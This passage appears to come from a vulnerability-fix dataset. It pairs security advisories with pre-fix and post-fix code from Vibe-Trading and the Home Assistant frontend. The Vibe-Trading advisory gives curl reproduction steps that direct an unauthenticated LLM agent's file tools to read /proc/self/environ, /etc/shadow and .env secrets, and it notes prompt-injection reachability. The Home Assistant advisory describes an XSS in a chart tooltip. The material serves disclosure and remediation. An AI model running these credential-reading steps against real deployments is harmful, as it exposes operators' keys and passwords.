GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_run_attempt"
+function_lines = [[177, 219]]
+id = "hkuds-vibe-trading-fefd053d0fc19401"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/session/service.py"
+post_fix = " async def _run_attempt(self, session: Session, attempt: Attempt, *, include_shell_tools: bool = False) -> None:\n \"\"\"Execute an Attempt in the background.\"\"\"\n attempt.mark_running()\n self.store.update_attempt(attempt)\n self.event_bus.emit(session.session_id, \"attempt.started\", {\"attempt_id\": attempt.attempt_id})\n\n try:\n messages = self.store.get_messages(session.session_id)\n result = await self._run_with_agent(attempt, messages=messages, include_shell_tools=include_shell_tools)\n if result.get(\"status\") == \"success\":\n attempt.mark_completed(summary=result.get(\"content\", \"\"))\n else:\n attempt.mark_failed(error=result.get(\"reason\", \"unknown\"))\n attempt.run_dir = result.get(\"run_dir\")\n\n self.store.update_attempt(attempt)\n reply_metadata = {}\n if attempt.run_dir:\n reply_metadata[\"run_id\"] = Path(attempt.run_dir).name\n reply_metadata[\"status\"] = attempt.status.value\n if attempt.metrics:\n reply_metadata[\"metrics\"] = attempt.metrics\n\n reply = Message(\n session_id=session.session_id, role=\"assistant\",\n content=self._format_result_message(attempt),\n linked_attempt_id=attempt.attempt_id,\n metadata=reply_metadata,\n )\n self.store.append_message(reply)\n self._search_index.index_message(session.session_id, \"assistant\", reply.content)\n self.event_bus.emit(\n session.session_id,\n \"attempt.completed\" if attempt.status == AttemptStatus.COMPLETED else \"attempt.failed\",\n {\"attempt_id\": attempt.attempt_id, \"status\": attempt.status.value,\n \"summary\": attempt.summary, \"error\": attempt.error, \"run_dir\": attempt.run_dir},\n )\n\n except Exception as exc:\n attempt.mark_failed(error=str(exc))\n self.store.update_attempt(attempt)\n self.event_bus.emit(session.session_id, \"attempt.failed\", {\"attempt_id\": attempt.attempt_id, \"error\": str(exc)})\n"
+pre_fix = " async def _run_attempt(self, session: Session, attempt: Attempt) -> None:\n \"\"\"Execute an Attempt in the background.\"\"\"\n attempt.mark_running()\n self.store.update_attempt(attempt)\n self.event_bus.emit(session.session_id, \"attempt.started\", {\"attempt_id\": attempt.attempt_id})\n\n try:\n messages = self.store.get_messages(session.session_id)\n result = await self._run_with_agent(attempt, messages=messages)\n if result.get(\"status\") == \"success\":\n attempt.mark_completed(summary=result.get(\"content\", \"\"))\n else:\n attempt.mark_failed(error=result.get(\"reason\", \"unknown\"))\n attempt.run_dir = result.get(\"run_dir\")\n\n self.store.update_attempt(attempt)\n reply_metadata = {}\n if attempt.run_dir:\n reply_metadata[\"run_id\"] = Path(attempt.run_dir).name\n reply_metadata[\"status\"] = attempt.status.value\n if attempt.metrics:\n reply_metadata[\"metrics\"] = attempt.metrics\n\n reply = Message(\n session_id=session.session_id, role=\"assistant\",\n content=self._format_result_message(attempt),\n linked_attempt_id=attempt.attempt_id,\n metadata=reply_metadata,\n )\n self.store.append_message(reply)\n self._search_index.index_message(session.session_id, \"assistant\", reply.content)\n self.event_bus.emit(\n session.session_id,\n \"attempt.completed\" if attempt.status == AttemptStatus.COMPLETED else \"attempt.failed\",\n {\"attempt_id\": attempt.attempt_id, \"status\": attempt.status.value,\n \"summary\": attempt.summary, \"error\": attempt.error, \"run_dir\": attempt.run_dir},\n )\n\n except Exception as exc:\n attempt.mark_failed(error=str(exc))\n self.store.update_attempt(attempt)\n self.event_bus.emit(session.session_id, \"attempt.failed\", {\"attempt_id\": attempt.attempt_id, \"error\": str(exc)})\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "build_filtered_registry"
+function_lines = [[85, 102]]
+id = "hkuds-vibe-trading-ff88c73cf17f2c68"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/__init__.py"
+post_fix = "def build_filtered_registry(tool_names: list[str], *, include_shell_tools: bool = False) -> ToolRegistry:\n \"\"\"Build a ToolRegistry with only specified tools.\n\n Args:\n tool_names: Tool names to include.\n include_shell_tools: Whether to include filtered shell execution tools.\n\n Returns:\n ToolRegistry containing only the requested tools.\n \"\"\"\n full = build_registry(include_shell_tools=include_shell_tools)\n filtered = ToolRegistry()\n for name in tool_names:\n tool = full.get(name)\n if tool:\n filtered.register(tool)\n return filtered\n\n"
+pre_fix = "def build_filtered_registry(tool_names: list[str]) -> ToolRegistry:\n \"\"\"Build a ToolRegistry with only specified tools.\n\n Args:\n tool_names: Tool names to include.\n\n Returns:\n ToolRegistry containing only the requested tools.\n \"\"\"\n full = build_registry()\n filtered = ToolRegistry()\n for name in tool_names:\n tool = full.get(name)\n if tool:\n filtered.register(tool)\n return filtered\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-wx4m-69m9-gx3m"
+advisory_text = "Home Assistant: XSS in Statistics Graph Card\n\n### Summary\nAn authenticated party can add a malicious name to any statistics-capable entity, allowing for\nCross-Site Scripting attacks against anyone who views a Statistics Graph card containing that\nentity, when they hover over any data point on the chart.\n\n**Payload**\n\n\n**Payload triggering**\n\n\nAn alternative, and more impactful scenario, is that the entity gets a malicious name from the\nprovider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited\nthat way through the default name — without requiring any direct access to the Home Assistant\ninstance. This is the same supply-chain vector as CVE-2025-62172.\n\n\n### Details\n\nThe Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending\nline is in `src/components/chart/statistics-chart.ts`:\n\nhttps://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236\n\nWhere **_`param.seriesName`_** is interpolated verbatim into the returned HTML string:\n\n```\nreturn `${time}${param.marker} ${param.seriesName}: ${value}`;\n```\n\nNo call to `filterXSS()` is made — unlike the Energy dashboard chart, which was patched as part\nof CVE-2025-62172:\n\n```\n// FIXED in energy-chart-options.ts:268\nreturn `${param.marker} ${filterXSS(param.seriesName!)}: ...`;\n```\n\nThe `statistics-chart` component was not updated when the Energy chart was patched, leaving the\nsame class of vulnerability in place.\n\nThe existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability:\n\n\n\nThe name value flows through the following chain:\n\n1. `name` is set from `getStatisticLabel(this.hass, statistic_id, meta)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411\n\n2. `getStatisticLabel` is defined here and calls `computeStateName(entity)`:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339\n\n3. `computeStateName` is defined here — no HTML encoding is applied:\n https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/compute_state_name.ts\n\nThe only transformation applied to the name is replacing underscores with spaces\n(`computeObjectId(entityId).replace(/_/g, \" \")`), which does not prevent HTML injection.\n\n\n**NB:** Do note that only the fields `Mean, State, Sum and Change` are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default:\n\n\nAnother requirement is that the Chart Type is of type Line, not Bar, which is also the default:\n\n\n\n\n---\n\n### PoC\n\n1. In **Settings → Devices & Services → Helpers**, click **+ Create Helper**. (For testing)\n\n2. Choose **Template** → **Template sensor**. Fill in the form:\n - **Name:** `test `\n - **State template:** `{{0.00000001*as_timestamp(states('sensor.date_time_iso'))}}`\n - **Unit of measurement:** `kWh`\n - **State class:** `Measurement`\n - Click **Submit**.\n\n\n\n\n3. Open a dashboard and add a **Statistics Graph** card targeting the new sensor:\n\n\n\n\n**NB:** Set time-window to 5 minutes for ease of testing so you see data quickly\n\n\n4. Hover over any data point on the chart.\n\n\n\n\n5. The `onerror` handler fires — `alert(document.domain)` executes in the browser or HTML-injection appears depending on the payload\n\n\n** Exact helper as described here**\n\n\n**Own sensor**\n\n\n**Own sensor 2**\n\n---\n\n### Impact\n\nThe vulnerability can be exploited remotely via the supply-chain vector: any integration that\nautomatically names entities (e.g. energy providers like Tibber) could deliver the payload\nwithout requiring the attacker to have any account on the target Home Assistant instance. This\nmirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.\n\nCompared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical.\nSuggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\nThe root cause — missing `filterXSS()` on `param.seriesName` — is identical to the already-fixed\nEnergy dashboard. The Statistics Graph card, which uses a shared `statistics-chart` component,\nwas not included in the previous fix scope.\n\nCredit: Robin Lunde - [https://robinlunde.com](https://robinlunde.com)"
+commit = "b8c201b6d34414d30c622797366570185c219614"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "render"
+function_lines = [[73, 256]]
+id = "home-assistant-frontend-4ddc46798ca8e7d6"
+language = "typescript"
+method = "fix_site"
+parent = "4a6c23c93e0cf24c26721090ba168a853b91843f"
+path = "src/components/chart/ha-sankey-chart.ts"
+post_fix = " render() {\n const options: HaECOption = {\n grid: {\n top: 0,\n bottom: 0,\n left: 0,\n right: 0,\n },\n tooltip: {\n trigger: \"item\",\n formatter: this._renderTooltip,\n appendTo: document.body,\n },\n };\n\n return html``;\n }\n\n private _renderTooltip = (params: CallbackDataParams) => {\n const data = params.data as Record;\n const value = this.valueFormatter\n ? this.valueFormatter(data.value)\n : data.value;\n if (data.id) {\n const node = this.data.nodes.find((n) => n.id === data.id);\n return html`\n ${node?.label ?? data.id} ${value}`;\n }\n if (data.source && data.target) {\n const source = this.data.nodes.find((n) => n.id === data.source);\n const target = this.data.nodes.find((n) => n.id === data.target);\n return html`${source?.label ?? data.source} →\n ${target?.label ?? data.target} ${value}`;\n }\n return null;\n };\n\n private _handleChartSankeyRoam = (ev: CustomEvent) => {\n this._currentZoom = ev.detail.zoom;\n };\n\n private _handleChartClick = (ev: CustomEvent) => {\n const detail = ev.detail;\n // Only handle node clicks (not links)\n if (detail.dataType !== \"node\") {\n return;\n }\n const nodeId = (detail.data as Record)?.id;\n if (!nodeId) {\n return;\n }\n const node = this.data.nodes.find((n) => n.id === nodeId);\n if (node?.entityId) {\n fireEvent(this, \"node-click\", { node });\n }\n };\n\n private _createData = memoizeOne((data: SankeyChartData, width = 0) => {\n const filteredNodes = data.nodes.filter((n) => n.value > 0);\n const indexes = [...new Set(filteredNodes.map((n) => n.index))].sort();\n const depthMap = new Map();\n const sections: Node[][] = [];\n indexes.forEach((index, i) => {\n depthMap.set(index, i);\n const nodesWithIndex = filteredNodes.filter((n) => n.index === index);\n if (nodesWithIndex.length > 0) {\n sections.push(\n sections.length > 0\n ? nodesWithIndex.sort((a, b) => {\n // sort by the order of their parents in the previous section with orphans at the end\n const aParentIndex = this._findParentIndex(\n a.id,\n data.links,\n sections\n );\n const bParentIndex = this._findParentIndex(\n b.id,\n data.links,\n sections\n );\n if (aParentIndex === bParentIndex) {\n return 0;\n }\n if (aParentIndex === -1) {\n return 1;\n }\n if (bParentIndex === -1) {\n return -1;\n }\n return aParentIndex - bParentIndex;\n })\n : nodesWithIndex\n );\n }\n });\n const links = this._processLinks(filteredNodes, data.links);\n const sectionWidth = width / indexes.length;\n const labelSpace = sectionWidth - NODE_SIZE - LABEL_DISTANCE;\n\n return {\n id: \"sankey\",\n type: \"sankey\",\n nodes: sections.flat().map((node) => ({\n id: node.id,\n value: node.value,\n itemStyle: {\n color: node.color,\n },\n depth: depthMap.get(node.index),\n })),\n links,\n draggable: false,\n scaleLimit: { min: 1, max: 4 },\n orient: this.vertical ? \"vertical\" : \"horizontal\",\n nodeWidth: 15,\n nodeGap: NODE_GAP,\n lineStyle: {\n color: \"gradient\",\n opacity: 0.4,\n curveness: 0.5,\n },\n layoutIterations: 0,\n animationDuration: 500,\n label: {\n formatter: (params) =>\n data.nodes.find((node) => node.id === (params.data as Node).id)\n ?.label ?? (params.data as Node).id,\n position: this.vertical ? \"bottom\" : \"right\",\n distance: LABEL_DISTANCE,\n minMargin: 5,\n overflow: \"break\",\n },\n labelLayout: (params) => {\n if (this.vertical) {\n // reduce the label font size so the longest word fits on one line\n const longestWord = params.text\n .split(\" \")\n .reduce(\n (longest, current) =>\n longest.length > current.length ? longest : current,\n \"\"\n );\n const wordWidth = measureTextWidth(longestWord, FONT_SIZE);\n const availableWidth = (params.rect.width + 6) * this._currentZoom;\n const fontSize = Math.min(\n FONT_SIZE,\n (availableWidth / wordWidth) * FONT_SIZE\n );\n return {\n fontSize: fontSize > 1 ? fontSize : 0,\n width: availableWidth,\n align: \"center\",\n dy: -2, // shift up or the lowest row labels may be cut off\n };\n }\n\n const availableHeight = (params.rect.height + 8) * this._currentZoom; // account for the margin\n const fontSize = Math.min(\n (availableHeight / params.labelRect.height) * FONT_SIZE,\n FONT_SIZE\n );\n return {\n fontSize,\n lineHeight: fontSize,\n width: labelSpace,\n height: params.rect.height,\n };\n },\n top: this.vertical ? 0 : OVERFLOW_MARGIN,\n bottom: this.vertical ? 25 : OVERFLOW_MARGIN,\n left: this.vertical ? OVERFLOW_MARGIN : 0,\n right: this.vertical ? OVERFLOW_MARGIN : labelSpace + LABEL_DISTANCE,\n emphasis: {\n focus: \"adjacency\",\n },\n } as SankeySeriesOption;\n });\n"
+pre_fix = " render() {\n const options = {\n grid: {\n top: 0,\n bottom: 0,\n left: 0,\n right: 0,\n },\n tooltip: {\n trigger: \"item\",\n formatter: this._renderTooltip,\n appendTo: document.body,\n },\n } as ECOption;\n\n return html``;\n }\n\n private _renderTooltip = (params: CallbackDataParams) => {\n const data = params.data as Record;\n const value = this.valueFormatter\n ? this.valueFormatter(data.value)\n : data.value;\n if (data.id) {\n const node = this.data.nodes.find((n) => n.id === data.id);\n return `${params.marker} ${filterXSS(node?.label ?? data.id)} ${value}`;\n }\n if (data.source && data.target) {\n const source = this.data.nodes.find((n) => n.id === data.source);\n const target = this.data.nodes.find((n) => n.id === data.target);\n return `${filterXSS(source?.label ?? data.source)} → ${filterXSS(target?.label ?? data.target)} ${value}`;\n }\n return null;\n };\n\n private _handleChartSankeyRoam = (ev: CustomEvent) => {\n this._currentZoom = ev.detail.zoom;\n };\n\n private _handleChartClick = (ev: CustomEvent) => {\n const detail = ev.detail;\n // Only handle node clicks (not links)\n if (detail.dataType !== \"node\") {\n return;\n }\n const nodeId = (detail.data as Record)?.id;\n if (!nodeId) {\n return;\n }\n const node = this.data.nodes.find((n) => n.id === nodeId);\n if (node?.entityId) {\n fireEvent(this, \"node-click\", { node });\n }\n };\n\n private _createData = memoizeOne((data: SankeyChartData, width = 0) => {\n const filteredNodes = data.nodes.filter((n) => n.value > 0);\n const indexes = [...new Set(filteredNodes.map((n) => n.index))].sort();\n const depthMap = new Map();\n const sections: Node[][] = [];\n indexes.forEach((index, i) => {\n depthMap.set(index, i);\n const nodesWithIndex = filteredNodes.filter((n) => n.index === index);\n if (nodesWithIndex.length > 0) 